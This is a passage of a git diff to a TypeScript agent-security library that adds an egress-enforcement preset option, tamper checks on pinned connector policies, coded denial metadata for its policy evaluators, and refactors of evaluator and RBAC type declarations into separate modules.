+    });
+    // #then
+    expect(policies).not.toHaveProperty('requireEgressEnforcement');
+    expect(connectorEgressPosture(connector)).toBe('declaration-only');
+  });
+
+  it('refuses a preset whose requireEgressEnforcement was added after validation', () => {
+    // #given
+    const baseline = singleTenantConnectorPolicies(productionOptions());
+    const added = { ...baseline, requireEgressEnforcement: true as const };
+    const required = singleTenantConnectorPolicies({
+      ...productionOptions(),
+      requireEgressEnforcement: true,
+    });
+    const removed = { ...required };
+    delete removed.requireEgressEnforcement;
+    // #when / #then
+    for (const policies of [added, removed]) {
+      expect(() =>
+        createConnector({
+          id: 'records.read',
+          description: 'Read one record',
+          permissions: { sideEffect: 'read' },
+          policies,
+          execute: async () => ({ ok: true }),
+        }),
+      ).toThrow(
+        'single-tenant preset requireEgressEnforcement was replaced, removed, or added after validation',
+      );
+    }
+  });
+
+  it('refuses an unknown posture key in the single-tenant preset options', () => {
+    // #given
+    const options = {
+      ...productionOptions(),
+      egressEnforcement: 'enforced',
+    };
+    // #when / #then
+    expect(() => singleTenantConnectorPolicies(options)).toThrow(TypeError);
+    expect(() => singleTenantConnectorPolicies(options)).toThrow(
+      /invalid options:.*egressEnforcement/,
+    );
+  });
+
   it('constructs a complete frozen policy set and validates the manifest', () => {
     const policies = singleTenantConnectorPolicies(productionOptions());
     const connector = createConnector({
@@ -479,6 +566,27 @@ describe('singleTenantConnectorPolicies', () => {
     ).toThrow(/single-tenant preset audit\.record changed/);
   });
 
+  it('reads the preset audit member once', () => {
+    const complete = singleTenantConnectorPolicies(productionOptions());
+    const baselineAudit = complete.audit;
+    const changing = { ...complete } as Record<PropertyKey, unknown>;
+    let reads = 0;
+    Object.defineProperty(changing, 'audit', {
+      enumerable: true,
+      get: () => (reads++ === 0 ? baselineAudit : { record: () => undefined }),
+    });
+
+    createConnector({
+      id: 'records.audit-read-once',
+      description: 'Read one record',
+      permissions: { sideEffect: 'read' },
+      policies: changing as never,
+      execute: async () => ({ ok: true }),
+    });
+
+    expect(reads).toBe(1);
+  });
+
   it('uses the frozen evaluator snapshot after a changing accessor', async () => {
     const complete = singleTenantConnectorPolicies({
       audit: { mode: 'development', allowUnaudited: true },
@@ -510,7 +618,47 @@ describe('singleTenantConnectorPolicies', () => {
       connector.execute?.({}, {
         requestContext: new RequestContext(),
       } as ToolExecutionContext),
-    ).rejects.toMatchObject({ policy: 'always-deny' });
+    ).rejects.toMatchObject({
+      policy: 'always-deny',
+      code: 'EVALUATOR_DENIED',
+      policyKind: 'evaluator',
+      retryable: false,
+    });
     expect(reads).toBe(1);
   });
+
+  it('retains built-in decision metadata through the bound evaluator snapshot', async () => {
+    const evaluator = networkEgress({
+      allowedDomains: [],
+      name: 'organization-check',
+    });
+    const policies = singleTenantConnectorPolicies({
+      audit: { mode: 'development', allowUnaudited: true },
+      egress: { allowedDomains: ['api.example.com'] },
+      permissions: { principalPermissions: 'not-configured' },
+      evaluators: [evaluator],
+    });
+    evaluator.evaluate = () => ({ allowed: true });
+    const execute = vi.fn(async () => ({ ok: true }));
+    const connector = createConnector({
+      id: 'records.coded-snapshot',
+      description: 'Read one remote record',
+      permissions: { sideEffect: 'read', egress: ['api.example.com'] },
+      policies,
+      execute,
+    });
+
+    await expect(
+      connector.execute?.({}, {
+        requestContext: new RequestContext(),
+      } as ToolExecutionContext),
+    ).rejects.toMatchObject({
+      policy: 'organization-check',
+      code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG',
+      policyKind: 'network-egress',
+      retryable: false,
+      details: { declaredHost: 'api.example.com' },
+    });
+    expect(execute).not.toHaveBeenCalled();
+  });
 });
diff --git a/packages/breakwater/src/connector-sdk/single-tenant-preset.ts b/packages/breakwater/src/connector-sdk/single-tenant-preset.ts
index 460939c5..56c0627f 100644
--- a/packages/breakwater/src/connector-sdk/single-tenant-preset.ts
+++ b/packages/breakwater/src/connector-sdk/single-tenant-preset.ts
@@ -15,16 +15,16 @@ import {
   isTenantIsolationEvaluator,
   networkEgress,
 } from '../policy-engine/tool-policy.js';
-import { D1IdempotencyStore } from './d1-idempotency-store.js';
-import { D1RateLimitStore } from './d1-rate-limit-store.js';
-import type { EgressFetchBase } from './egress-fetch.js';
 import type {
   AtomicIdempotencyStore,
   ConnectorPolicies,
   InspectableIdempotencyStore,
   PermissionManifest,
   RateLimitStore,
-} from './index.js';
+} from './contracts.js';
+import { D1IdempotencyStore } from './d1-idempotency-store.js';
+import { D1RateLimitStore } from './d1-rate-limit-store.js';
+import type { EgressFetchBase } from './egress-fetch.js';
 
 const auditRecordMethod = AuditLogger.prototype.record;
 const auditHasExternalSinkMethod = AuditLogger.prototype.hasExternalSink;
@@ -90,6 +90,8 @@ export interface SingleTenantConnectorPoliciesOptions {
   evaluators?: readonly ToolPolicyEvaluator[];
   /** Optional base fetch used by the connector runtime guard. */
   fetch?: EgressFetchBase;
+  /** Refuse connectors whose egress posture is not enforced. */
+  requireEgressEnforcement?: true;
 }
 
 const singleTenantPreset = Symbol('breakwater.singleTenantConnectorPolicies');
@@ -166,6 +168,7 @@ const optionsSchema = z.strictObject({
       'must be a fetch function',
     )
     .optional(),
+  requireEgressEnforcement: z.literal(true).optional(),
 });
 
 function parseOptions(options: SingleTenantConnectorPoliciesOptions) {
@@ -226,6 +229,28 @@ function snapshotRateLimitStore(store: D1RateLimitStore): RateLimitStore {
   });
 }
 
+// Policy members the preset pins between validation and construction. The
+// order decides which member a multi-member tamper is reported against, since
+// the first mismatch throws; `Object.keys` preserves the literal's insertion
+// order, so the order written here is the order checked. Exhaustive over
+// ConnectorPolicies: a member the interface gains is a missing property here,
+// one it drops an excess property.
+const PINNED_PRESET_MEMBER_SET: Record<keyof ConnectorPolicies, true> = {
+  networkEgress: true,
+  idempotencyKeyMigration: true,
+  writePermissions: true,
+  evaluators: true,
+  idempotencyStore: true,
+  rateLimitStore: true,
+  audit: true,
+  fetch: true,
+  requireEgressEnforcement: true,
+};
+
+const PINNED_PRESET_MEMBERS = Object.keys(
+  PINNED_PRESET_MEMBER_SET,
+) as (keyof ConnectorPolicies)[];
+
 function assertUnchangedSurface(
   connectorId: string,
   name: keyof ConnectorPolicies,
@@ -317,6 +342,9 @@ export function singleTenantConnectorPolicies(
     ...(rateLimitStore === undefined ? {} : { rateLimitStore }),
     ...(audit === undefined ? {} : { audit }),
     ...(parsed.fetch === undefined ? {} : { fetch: parsed.fetch }),
+    ...(parsed.requireEgressEnforcement === undefined
+      ? {}
+      : { requireEgressEnforcement: parsed.requireEgressEnforcement }),
   });
   const snapshot: SingleTenantPolicySnapshot = Object.freeze({
     policies: enforcedPolicies,
@@ -352,53 +380,19 @@ export function assertSingleTenantConnectorPolicies(
     };
   }
 
-  const currentNetworkEgress = policies.networkEgress;
-  const currentWritePermissions = policies.writePermissions;
-  const currentEvaluators = policies.evaluators;
-  const currentIdempotencyStore = policies.idempotencyStore;
-  const currentIdempotencyKeyMigration = policies.idempotencyKeyMigration;
-  const currentRateLimitStore = policies.rateLimitStore;
-  const currentAudit = policies.audit;
-  const currentFetch = policies.fetch;
   const baseline = metadata.snapshot.policies;
-  assertUnchangedSurface(
-    connectorId,
-    'networkEgress',
-    currentNetworkEgress,
-    baseline.networkEgress,
-  );
-  assertUnchangedSurface(
-    connectorId,
-    'idempotencyKeyMigration',
-    currentIdempotencyKeyMigration,
-    baseline.idempotencyKeyMigration,
-  );
-  assertUnchangedSurface(
-    connectorId,
-    'writePermissions',
-    currentWritePermissions,
-    baseline.writePermissions,
-  );
-  assertUnchangedSurface(
-    connectorId,
-    'evaluators',
-    currentEvaluators,
-    baseline.evaluators,
-  );
-  assertUnchangedSurface(
-    connectorId,
-    'idempotencyStore',
-    currentIdempotencyStore,
-    baseline.idempotencyStore,
-  );
-  assertUnchangedSurface(
-    connectorId,
-    'rateLimitStore',
-    currentRateLimitStore,
-    baseline.rateLimitStore,
-  );
-  assertUnchangedSurface(connectorId, 'audit', currentAudit, baseline.audit);
-  assertUnchangedSurface(connectorId, 'fetch', currentFetch, baseline.fetch);
+  for (const member of PINNED_PRESET_MEMBERS) {
+    assertUnchangedSurface(
+      connectorId,
+      member,
+      policies[member],
+      baseline[member],
+    );
+  }
+  // The loop read `policies.audit` once and proved it identical to the
+  // baseline's, so the frozen snapshot carries the value the `.record` check
+  // needs — a second read of an accessor-backed `policies` would not.
+  const currentAudit = baseline.audit;
   if (
     currentAudit !== undefined &&
     currentAudit.record !== metadata.snapshot.auditMember
diff --git a/packages/breakwater/src/index.ts b/packages/breakwater/src/index.ts
index e6738fce..1322e91d 100644
--- a/packages/breakwater/src/index.ts
+++ b/packages/breakwater/src/index.ts
@@ -64,16 +64,38 @@ export type {
   ConnectorApprovalGrantBase,
   ConnectorApprovalSuspension,
   ConnectorConfig,
+  ConnectorConformanceCase,
+  ConnectorConformanceCaseResult,
+  ConnectorConformanceEntryPoint,
+  ConnectorConformanceEscape,
+  ConnectorConformanceFactory,
+  ConnectorConformanceFinding,
+  ConnectorConformanceFindingCode,
+  ConnectorConformanceOptions,
+  ConnectorConformanceReport,
+  ConnectorConformanceRequest,
+  ConnectorConformanceResponse,
+  ConnectorConformanceRuntime,
+  ConnectorDecisionCode,
+  ConnectorDecisionDetails,
+  ConnectorDenialCode,
+  ConnectorDenialMetadata,
+  ConnectorEgressPosture,
   ConnectorExecutionIdentity,
+  ConnectorInvocationCode,
   ConnectorInvocationOptions,
   ConnectorPolicies,
+  ConnectorPolicyName,
   ConnectorRuntime,
+  ConnectorStoreName,
+  ConnectorStoreOperation,
   D1IdempotencyStoreOptions,
   D1RateLimitStoreOptions,
   EgressDenial,
   EgressFetchBase,
   EgressFetchOptions,
   EgressGuardedFetch,
+  EgressGuardMetadata,
   EgressRequestInit,
   EgressResponse,
   EgressResponseHeaders,
@@ -101,22 +123,32 @@ export type {
   SingleTenantPermissionPosture,
 } from './connector-sdk/index.js';
 export {
+  assertConnectorConformance,
+  CONNECTOR_DECISIONS,
   CONNECTOR_EXECUTION_CONTEXT_KEY,
   CONNECTOR_GRANTS_CONTEXT_KEY,
+  ConnectorConformanceError,
+  ConnectorEvaluatorError,
+  ConnectorInvocationError,
   ConnectorPolicyError,
+  ConnectorStoreError,
   ConnectorValidationError,
+  connectorDecisionRetryable,
+  connectorEgressPosture,
   connectorManifest,
   createConnector,
   D1IdempotencyStore,
   D1RateLimitStore,
   DRY_RUN_CONTEXT_KEY,
   EgressDeniedError,
+  EgressGuardError,
   egressFetch,
   IDEMPOTENCY_KEY_CONTEXT_KEY,
   InMemoryIdempotencyStore,
   InMemoryRateLimitStore,
   inspectLegacyConnectorIdempotency,
   invokeConnector,
+  isConnectorDecisionCode,
   migrateLegacyConnectorIdempotency,
   singleTenantConnectorPolicies,
 } from './connector-sdk/index.js';
diff --git a/packages/breakwater/src/policy-engine/CLAUDE.md b/packages/breakwater/src/policy-engine/CLAUDE.md
index 44bbbb4e..62ba1fa8 100644
--- a/packages/breakwater/src/policy-engine/CLAUDE.md
+++ b/packages/breakwater/src/policy-engine/CLAUDE.md
@@ -2,6 +2,7 @@
 
 - `index.ts`: `PolicyEngine`, stream channels, hold-back, and basic policies
 - `content-inspection.ts`: PII, secret, entropy, and classifier policies
+- `evaluator-contract.ts`: phase, channel, context, and evaluator declarations shared by the evaluator modules
 - `tool-policy.ts`: egress, approval, workflow, tenant, and background evaluators
 - matching `*.test.ts` files: processor and evaluator coverage
 
diff --git a/packages/breakwater/src/policy-engine/content-inspection.ts b/packages/breakwater/src/policy-engine/content-inspection.ts
index 78ccafed..16b238d0 100644
--- a/packages/breakwater/src/policy-engine/content-inspection.ts
+++ b/packages/breakwater/src/policy-engine/content-inspection.ts
@@ -6,7 +6,11 @@
 // model call) evaluated on a streaming cadence. Both are best-effort — see
 // each export's doc for its accepted evasion surface.
 
-import type { OutputChannel, PolicyEvaluator, PolicyPhase } from './index.js';
+import type {
+  OutputChannel,
+  PolicyEvaluator,
+  PolicyPhase,
+} from './evaluator-contract.js';
 import type { PolicyDecision } from './tool-policy.js';
 
 // ---------------------------------------------------------------------------
diff --git a/packages/breakwater/src/policy-engine/evaluator-contract.ts b/packages/breakwater/src/policy-engine/evaluator-contract.ts
new file mode 100644
index 00000000..40879e04
--- /dev/null
+++ b/packages/breakwater/src/policy-engine/evaluator-contract.ts
@@ -0,0 +1,86 @@
+// SPDX-License-Identifier: Apache-2.0
+// Evaluator contract — the declarations an evaluator module needs without
+// reaching the barrel that imports them back: the phase, channel, context and
+// evaluator shapes that cross that edge.
+//
+// A type-only leaf, so content-inspection.ts and any other evaluator module
+// take the contract without importing the barrel. That need is the criterion
+// for what moves here; a declaration the barrel alone consumes stays in the
+// barrel.
+
+import type { MastraDBMessage } from '@mastra/core/agent/message-list';
+import type { RequestContext } from '@mastra/core/request-context';
+
+import type { PolicyDecision } from './tool-policy.js';
+
+/** Agent lifecycle phase evaluated by a policy. */
+export type PolicyPhase = 'input' | 'output';
+
+/**
+ * Which output surface the gated text belongs to. 'answer' is the
+ * client-visible answer text (and the channel input gating always runs
+ * under); 'reasoning' is the model's reasoning trace; 'object' is structured
+ * output, gated as the canonical JSON latest snapshot.
+ *
+ * Under the supported `@mastra/core` peer, the engine sees the `object`
+ * channel only for object chunks that flow through the processor chain
+ * (model-native streaming). A `generate()` result's parsed object and core's
+ * `StructuredOutputProcessor` chunks never pass through the chain.
+ * `createGuardedAgent` rejects structured output because a wrapper gate would
+ * run only after Mastra had exposed the parsed value. An object-only policy
+ * still requires an audit sink so a standalone engine records a fail-closed
+ * result-phase coverage error.
+ */
+export type OutputChannel = 'answer' | 'reasoning' | 'object';
+
+/** Input passed to one policy evaluation. */
+export interface PolicyContext {
+  /** Lifecycle phase being evaluated. */
+  phase: PolicyPhase;
+  /** Output channel `text` came from. Always 'answer' in the input phase. */
+  channel: OutputChannel;
+  /**
+   * The gated messages. Empty during streaming output — processOutputStream
+   * exposes no discrete messages — and empty at a standalone
+   * `createContentPolicyGate` boundary, which has only the rendered text. The
+   * shipped evaluators read only `text`.
+   */
+  messages: MastraDBMessage[];
+  /**
+   * Concatenated text of the gated content: input messages, one channel of
+   * the streamed output accumulated so far, or the final output result.
+   */
+  text: string;
+  /** Mastra request context associated with the agent call. */
+  requestContext?: RequestContext;
+  /**
+   * Streaming only: a scratch object private to this policy instance that
+   * persists across the chunks of one stream (absent in the input/result
+   * phases). Evaluators MAY keep incremental-scan cursors here (see
+   * denyPatterns); evaluators that ignore it stay pure and re-scan `text`.
+   */
+  streamState?: Record<string, unknown>;
+}
+
+/** Policy evaluated by `PolicyEngine` at selected phases and channels. */
+export interface PolicyEvaluator {
+  /** Stable policy name used in audit events and denial messages. */
+  name: string;
+  /** Phases this policy gates. Default: both. */
+  phases?: readonly PolicyPhase[];
+  /**
+   * Output channels this policy gates. Default: ['answer'] — evaluators
+   * written before channels existed keep seeing only client-visible text.
+   */
+  channels?: readonly OutputChannel[];
+  /**
+   * Hold-back hint (chars): the trailing window of streamed text that must
+   * stay unemitted for this policy to catch a violation straddling the
+   * emission frontier. Consulted only when the engine's `holdBack` option is
+   * on. Policies without the hint contribute 0 — hint your evaluator to get
+   * hold-back coverage. `Infinity` buffers everything until stream finish.
+   */
+  holdBackChars?: number;
+  /** Decide whether the supplied policy context is allowed. */
+  evaluate(context: PolicyContext): PolicyDecision | Promise<PolicyDecision>;
+}
diff --git a/packages/breakwater/src/policy-engine/index.ts b/packages/breakwater/src/policy-engine/index.ts
index ddf4bde6..f1d8a762 100644
--- a/packages/breakwater/src/policy-engine/index.ts
+++ b/packages/breakwater/src/policy-engine/index.ts
@@ -34,79 +34,20 @@ import { type JSONType, z } from 'zod';
 
 import { type AuditLogger, agentAuditDetail } from '../audit/index.js';
 import { type Actor, actorFromRequestContext } from '../rbac/index.js';
+import type {
+  OutputChannel,
+  PolicyContext,
+  PolicyEvaluator,
+  PolicyPhase,
+} from './evaluator-contract.js';
 import type { PolicyDecision } from './tool-policy.js';
 
-/** Agent lifecycle phase evaluated by a policy. */
-export type PolicyPhase = 'input' | 'output';
-
-/**
- * Which output surface the gated text belongs to. 'answer' is the
- * client-visible answer text (and the channel input gating always runs
- * under); 'reasoning' is the model's reasoning trace; 'object' is structured
- * output, gated as the canonical JSON latest snapshot.
- *
- * Under the supported `@mastra/core` peer, the engine sees the `object`
- * channel only for object chunks that flow through the processor chain
- * (model-native streaming). A `generate()` result's parsed object and core's
- * `StructuredOutputProcessor` chunks never pass through the chain.
- * `createGuardedAgent` rejects structured output because a wrapper gate would
- * run only after Mastra had exposed the parsed value. An object-only policy
- * still requires an audit sink so a standalone engine records a fail-closed
- * result-phase coverage error.
- */
-export type OutputChannel = 'answer' | 'reasoning' | 'object';
-
-/** Input passed to one policy evaluation. */
-export interface PolicyContext {
-  /** Lifecycle phase being evaluated. */
-  phase: PolicyPhase;
-  /** Output channel `text` came from. Always 'answer' in the input phase. */
-  channel: OutputChannel;
-  /**
-   * The gated messages. Empty during streaming output — processOutputStream
-   * exposes no discrete messages — and empty at a standalone
-   * `createContentPolicyGate` boundary, which has only the rendered text. The
-   * shipped evaluators read only `text`.
-   */
-  messages: MastraDBMessage[];
-  /**
-   * Concatenated text of the gated content: input messages, one channel of
-   * the streamed output accumulated so far, or the final output result.
-   */
-  text: string;
-  /** Mastra request context associated with the agent call. */
-  requestContext?: RequestContext;
-  /**
-   * Streaming only: a scratch object private to this policy instance that
-   * persists across the chunks of one stream (absent in the input/result
-   * phases). Evaluators MAY keep incremental-scan cursors here (see
-   * denyPatterns); evaluators that ignore it stay pure and re-scan `text`.
-   */
-  streamState?: Record<string, unknown>;
-}
-
-/** Policy evaluated by `PolicyEngine` at selected phases and channels. */
-export interface PolicyEvaluator {
-  /** Stable policy name used in audit events and denial messages. */
-  name: string;
-  /** Phases this policy gates. Default: both. */
-  phases?: readonly PolicyPhase[];
-  /**
-   * Output channels this policy gates. Default: ['answer'] — evaluators
-   * written before channels existed keep seeing only client-visible text.
-   */
-  channels?: readonly OutputChannel[];
-  /**
-   * Hold-back hint (chars): the trailing window of streamed text that must
-   * stay unemitted for this policy to catch a violation straddling the
-   * emission frontier. Consulted only when the engine's `holdBack` option is
-   * on. Policies without the hint contribute 0 — hint your evaluator to get
-   * hold-back coverage. `Infinity` buffers everything until stream finish.
-   */
-  holdBackChars?: number;
-  /** Decide whether the supplied policy context is allowed. */
-  evaluate(context: PolicyContext): PolicyDecision | Promise<PolicyDecision>;
-}
+export type {
+  OutputChannel,
+  PolicyContext,
+  PolicyEvaluator,
+  PolicyPhase,
+} from './evaluator-contract.js';
 
 const DEFAULT_CHANNELS: readonly OutputChannel[] = ['answer'];
 
diff --git a/packages/breakwater/src/policy-engine/tool-policy.test.ts b/packages/breakwater/src/policy-engine/tool-policy.test.ts
index fc1f9562..4c81982d 100644
--- a/packages/breakwater/src/policy-engine/tool-policy.test.ts
+++ b/packages/breakwater/src/policy-engine/tool-policy.test.ts
@@ -2,6 +2,10 @@
 import { RequestContext } from '@mastra/core/request-context';
 import { describe, expect, it } from 'vitest';
 
+import {
+  CONNECTOR_DECISIONS,
+  connectorDecisionRetryable,
+} from '../connector-decision.js';
 import {
   approvalRequired,
   backgroundExecution,
@@ -21,6 +25,75 @@ function call(
   return { connectorId: 'salesforce.export', sideEffect, egress, input: {} };
 }
 
+describe('tool policy decision metadata', () => {
+  const callerContext = new RequestContext();
+  callerContext.set(WORKFLOW_SCOPE_CONTEXT_KEY, 'private-caller');
+
+  it.each([
+    {
+      evaluator: networkEgress({ allowedDomains: [], name: 'custom-label' }),
+      context: call(['API.EXAMPLE.COM.']),
+      code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG',
+      policyKind: 'network-egress',
+      details: { declaredHost: 'api.example.com' },
+    },
+    {
+      evaluator: crossWorkflowIsolation({
+        name: 'custom-label',
+        targetScopeOf: () => 'private-target',
+      }),
+      context: call([]),
+      code: 'WORKFLOW_SCOPE_MISSING',
+      policyKind: 'cross-workflow-isolation',
+      details: undefined,
+    },
+    {
+      evaluator: crossWorkflowIsolation({
+        name: 'custom-label',
+        targetScopeOf: () => 'private-target',
+      }),
+      context: {
+        ...call([]),
+        requestContext: callerContext,
+      },
+      code: 'CROSS_WORKFLOW_ACCESS_DENIED',
+      policyKind: 'cross-workflow-isolation',
+      details: undefined,
+    },
+    {
+      evaluator: tenantIsolation({ name: 'custom-label' }),
+      context: call([]),
+      code: 'ISOLATION_SCOPE_MISSING',
+      policyKind: 'tenant-isolation',
+      details: undefined,
+    },
+    {
+      evaluator: backgroundExecution({ name: 'custom-label' }),
+      context: { ...call([], 'write'), input: { _background: {} } },
+      code: 'BACKGROUND_EXECUTION_DENIED',
+      policyKind: 'background-execution',
+      details: undefined,
+    },
+  ])('keeps $code independent of its diagnostic name', async ({
+    evaluator,
+    context,
+    code,
+    policyKind,
+    details,
+  }) => {
+    const decision = await evaluator.evaluate(context);
+
+    expect(evaluator.name).toBe('custom-label');
+    expect(decision).toMatchObject({ allowed: false, code });
+    if (decision.allowed || decision.code === undefined) {
+      throw new Error('expected a coded denial');
+    }
+    expect(decision.details).toEqual(details);
+    expect(CONNECTOR_DECISIONS[decision.code].policyKind).toBe(policyKind);
+    expect(connectorDecisionRetryable(decision.code)).toBe(false);
+  });
+});
+
 describe('networkEgress', () => {
   it('allows declared domains on the allowlist', async () => {
     // #given
@@ -38,6 +111,8 @@ describe('networkEgress', () => {
     expect(await policy.evaluate(call(['api.evil.com']))).toEqual({
       allowed: false,
       reason: expect.stringContaining('api.evil.com'),
+      code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG',
+      details: { declaredHost: 'api.evil.com' },
     });
   });
 
@@ -286,6 +361,7 @@ describe('crossWorkflowIsolation', () => {
     ).toEqual({
       allowed: false,
       reason: "workflow 'wf-a' may not access state of 'wf-b'",
+      code: 'CROSS_WORKFLOW_ACCESS_DENIED',
     });
   });
 
@@ -295,7 +371,7 @@ describe('crossWorkflowIsolation', () => {
     // #when / #then
     expect(
       await policy.evaluate(scopedCall({ input: { workflowId: 'wf-a' } })),
-    ).toMatchObject({ allowed: false });
+    ).toMatchObject({ allowed: false, code: 'WORKFLOW_SCOPE_MISSING' });
   });
 
   it('fails closed on a non-string scope value', async () => {
@@ -305,7 +381,7 @@ describe('crossWorkflowIsolation', () => {
       await policy.evaluate(
         scopedCall({ scope: ['wf-a'], input: { workflowId: 'wf-a' } }),
       ),
-    ).toMatchObject({ allowed: false });
+    ).toMatchObject({ allowed: false, code: 'WORKFLOW_SCOPE_MISSING' });
   });
 });
 
@@ -344,6 +420,7 @@ describe('tenantIsolation', () => {
     // could never reach it)
     expect(await policy.evaluate(scopedCall(scope))).toMatchObject({
       allowed: false,
+      code: 'ISOLATION_SCOPE_MISSING',
     });
   });
 
@@ -380,7 +457,7 @@ describe('backgroundExecution', () => {
       await policy.evaluate(
         bgCall(sideEffect, { topic: 'x', _background: { enabled: true } }),
       ),
-    ).toMatchObject({ allowed: false });
+    ).toMatchObject({ allowed: false, code: 'BACKGROUND_EXECUTION_DENIED' });
   });
 
   it('denies when _background is present with enabled undefined (defaults to background when eligible)', async () => {
@@ -388,7 +465,7 @@ describe('backgroundExecution', () => {
     // enabled it; deny-by-default treats the bare override as a background enable
     expect(
       await policy.evaluate(bgCall('write', { _background: { timeoutMs: 5 } })),
-    ).toMatchObject({ allowed: false });
+    ).toMatchObject({ allowed: false, code: 'BACKGROUND_EXECUTION_DENIED' });
   });
 
   it('allows a write-class call that explicitly forces FOREGROUND (enabled:false)', async () => {
diff --git a/packages/breakwater/src/policy-engine/tool-policy.ts b/packages/breakwater/src/policy-engine/tool-policy.ts
index 30eb86fd..510c0745 100644
--- a/packages/breakwater/src/policy-engine/tool-policy.ts
+++ b/packages/breakwater/src/policy-engine/tool-policy.ts
@@ -8,6 +8,7 @@
 // See docs/policy-engine-design.md.
 
 import type { RequestContext } from '@mastra/core/request-context';
+import type { ConnectorDenialMetadata } from '../connector-decision.js';
 
 /**
  * Decision shape shared by both policy seams (agent-boundary evaluators in
@@ -19,12 +20,12 @@ export type PolicyDecision =
       /** Allow the operation. */
       allowed: true;
     }
-  | {
+  | ({
       /** Deny the operation. */
       allowed: false;
       /** Human-readable denial reason suitable for audit records. */
       reason: string;
-    };
+    } & (ConnectorDenialMetadata | { code?: undefined; details?: undefined }));
 
 /** Side-effect classification a connector declares in its manifest. */
 export type SideEffect = 'read' | 'write' | 'destructive' | 'idempotent';
@@ -45,7 +46,7 @@ export interface ToolCallContext {
 
 /** Evaluates one policy at the connector execution boundary. */
 export interface ToolPolicyEvaluator {
-  /** Stable policy name used in denials and audit records. */
+  /** Diagnostic policy name used in denials and audit records. */
   name: string;
   /** Return whether this connector call may proceed. */
   evaluate(context: ToolCallContext): PolicyDecision | Promise<PolicyDecision>;
@@ -175,6 +176,8 @@ export function networkEgress(
           return {
             allowed: false,
             reason: `egress to ${normalizedDeclared} is not in the allowed domains`,
+            code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG',
+            details: { declaredHost: normalizedDeclared },
           };
         }
       }
@@ -223,12 +226,14 @@ export function crossWorkflowIsolation(
         return {
           allowed: false,
           reason: 'caller has no workflow scope; cross-workflow access denied',
+          code: 'WORKFLOW_SCOPE_MISSING',
         };
       }
       if (target !== scope) {
         return {
           allowed: false,
           reason: `workflow '${scope}' may not access state of '${target}'`,
+          code: 'CROSS_WORKFLOW_ACCESS_DENIED',
         };
       }
       return { allowed: true };
@@ -270,6 +275,7 @@ export function tenantIsolation(
           allowed: false,
           reason:
             'caller carries no isolation scope; this deployment requires tenant-scoped connector calls',
+          code: 'ISOLATION_SCOPE_MISSING',
         };
       }
       return { allowed: true };
@@ -358,6 +364,7 @@ export function backgroundExecution(
         return {
           allowed: false,
           reason: `write-class connector '${connectorId}' may not run in background: an LLM _background override would move it off the foreground path (v1 connectors are foreground-only)`,
+          code: 'BACKGROUND_EXECUTION_DENIED',
         };
       }
       return { allowed: true };
diff --git a/packages/breakwater/src/rbac/CLAUDE.md b/packages/breakwater/src/rbac/CLAUDE.md
index a8ee0ac8..18819381 100644
--- a/packages/breakwater/src/rbac/CLAUDE.md
+++ b/packages/breakwater/src/rbac/CLAUDE.md
@@ -1,6 +1,7 @@
 # RBAC navigation
 
 - `index.ts`: roles, actor request-context lookup, and `RBACMiddleware`
+- `actor.ts`: the actor and role declarations RBAC authorizes and audit attributes
 - `principal.ts`: principal kinds and the shared kind-allowlist validator
 - `authorize.ts`: the one gate both the processor and direct calls run through
 - `rbac.test.ts`: authorization and audit coverage
diff --git a/packages/breakwater/src/rbac/actor.ts b/packages/breakwater/src/rbac/actor.ts
new file mode 100644
index 00000000..077036b0
--- /dev/null
+++ b/packages/breakwater/src/rbac/actor.ts
@@ -0,0 +1,25 @@
+// SPDX-License-Identifier: Apache-2.0
+// Actor contract — the identity RBAC authorizes and audit attributes.
+//
+// A type-only leaf, so `authorize.ts` and `audit/index.ts` take these two
+// declarations without importing the barrel that imports them back.
+
+import type { PrincipalKind } from './principal.js';
+
+/** Role labels accepted by the built-in actor contract. */
+export type Role = 'admin' | 'builder' | 'operator' | 'reviewer' | 'viewer';
+
+/** Authenticated identity evaluated by RBAC and attached to audit events. */
+export interface Actor {
+  /** Stable actor identifier from the host authentication system. */
+  id: string;
+  /**
+   * Role used by the middleware's exact allowlist. Meaningful only for the
+   * 'human' kind; for automated kinds the role allowlist is not consulted at
+   * all and hosts should project the least-privileged label. See
+   * `authorizeActor`.
+   */
+  role: Role;
+  /** Absent means 'human', so an existing host keeps its exact behavior. */
+  kind?: PrincipalKind;
+}
diff --git a/packages/breakwater/src/rbac/authorize.ts b/packages/breakwater/src/rbac/authorize.ts
index 87a58515..ca10343a 100644
--- a/packages/breakwater/src/rbac/authorize.ts
+++ b/packages/breakwater/src/rbac/authorize.ts
@@ -3,7 +3,7 @@
 import type { RequestContext } from '@mastra/core/request-context';
 
 import { type AuditLogger, agentAuditDetail } from '../audit/index.js';
-import type { Actor, Role } from './index.js';
+import type { Actor, Role } from './actor.js';
 import { type PrincipalKind, principalKindOf } from './principal.js';
 
 export interface ActorAuthorizationOptions {
diff --git a/packages/breakwater/src/rbac/index.ts b/packages/breakwater/src/rbac/index.ts
index f22baeff..b060fe92 100644
--- a/packages/breakwater/src/rbac/index.ts
+++ b/packages/breakwater/src/rbac/index.ts
@@ -14,6 +14,7 @@ import type {
 import type { RequestContext } from '@mastra/core/request-context';
 
 import type { AuditLogger } from '../audit/index.js';
+import type { Actor, Role } from './actor.js';
 import { authorizeActor } from './authorize.js';
 import {
   assertPrincipalKinds,
@@ -21,8 +22,7 @@ import {
   type PrincipalKind,
 } from './principal.js';
 
-/** Role labels accepted by the built-in actor contract. */
-export type Role = 'admin' | 'builder' | 'operator' | 'reviewer' | 'viewer';
+export type { Role } from './actor.js';
 
 /** All role labels accepted by `RBACMiddleware`. */
 export const ROLES: readonly Role[] = [
@@ -33,6 +33,14 @@ export const ROLES: readonly Role[] = [
   'viewer',
 ];
 
+export type {
+  AuditEvent,
+  AuditLoggerOptions,
+  AuditSink,
+} from '../audit/index.js';
+// Audit moved to its own module; keep the historical rbac export surface.
+export { AuditLogger } from '../audit/index.js';
+export type { Actor } from './actor.js';
 // Re-exported for hosts; `assertPrincipalKinds` stays internal to the package.
 export type { Permission, PrincipalPermissions } from './permission.js';
 export {
@@ -47,29 +55,6 @@ export {
   principalKindOf,
 } from './principal.js';
 
-/** Authenticated identity evaluated by RBAC and attached to audit events. */
-export interface Actor {
-  /** Stable actor identifier from the host authentication system. */
-  id: string;
-  /**
-   * Role used by the middleware's exact allowlist. Meaningful only for the
-   * 'human' kind; for automated kinds the role allowlist is not consulted at
-   * all and hosts should project the least-privileged label. See
-   * `authorizeActor`.
